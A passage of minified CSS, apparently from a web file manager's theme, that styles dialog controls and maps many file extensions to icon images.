.aui-close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui-min:active,body div.dialog-simple .aui-max:active,body div.dialog-simple .aui-close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui-main{background:none !important;}body div.dialog-simple .aui-max{right:30px;}body div.dialog-simple .aui-min{right:56px;}body div.dialog-simple .aui-dialog,body div.dialog-simple .aui-border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui-header{opacity:0.01;filter:alpha(opacity=1);border:1px solid rgba(0,0,0,0.01);border-bottom:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-ne{height:0px;}body div.dialog-simple.aui-state-drag .aui-header,body div.dialog-simple .dialog-mouse-in .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui-state-drag .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialog-max .aui-header{opacity:1.0;filter:alpha(opacity=100);}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.file-list-icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary-box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.file-list-list .file .ico .x-item-file,.file-list-split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task-tab .tabs .tab .x-item-file,.task-tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui-title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit-tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:12px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.context-menu-list .context-menu-item img.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;background:none;margin-right:12px;height:auto;}.aui-title .x-item-file.x-font-icon{font-size:12px;line-height:18px;color:#fff;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass,.x-lrc{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m,.x-nc{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-7z,.x-apk,.x-ace,.x-arj,.x-bza,.x-cab,.x-cxr,.x-dgc,.x-gca,.x-gz,.x-gza,.x-iso,.x-jar,.x-lzh,.x-rar,.x-rk,.x-tar,.x-tbz,.x-tgz,.x-tlz,.x-txz,.x-yz1,.x-zip{background-image:url("../../../images/file_icon/icon_file/zip_all.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip_all.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip_all.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-7z{background-image:url("../../../images/file_icon/icon_file/7z.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/7z.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/7z.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-djvu{background-image:url("../../../images/file_icon/icon_file/djvu.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/djvu.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/djvu.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dng{background-image:url("../../../images/file_icon/icon_file/dng.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dng.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dng.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc,.x-wps{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none 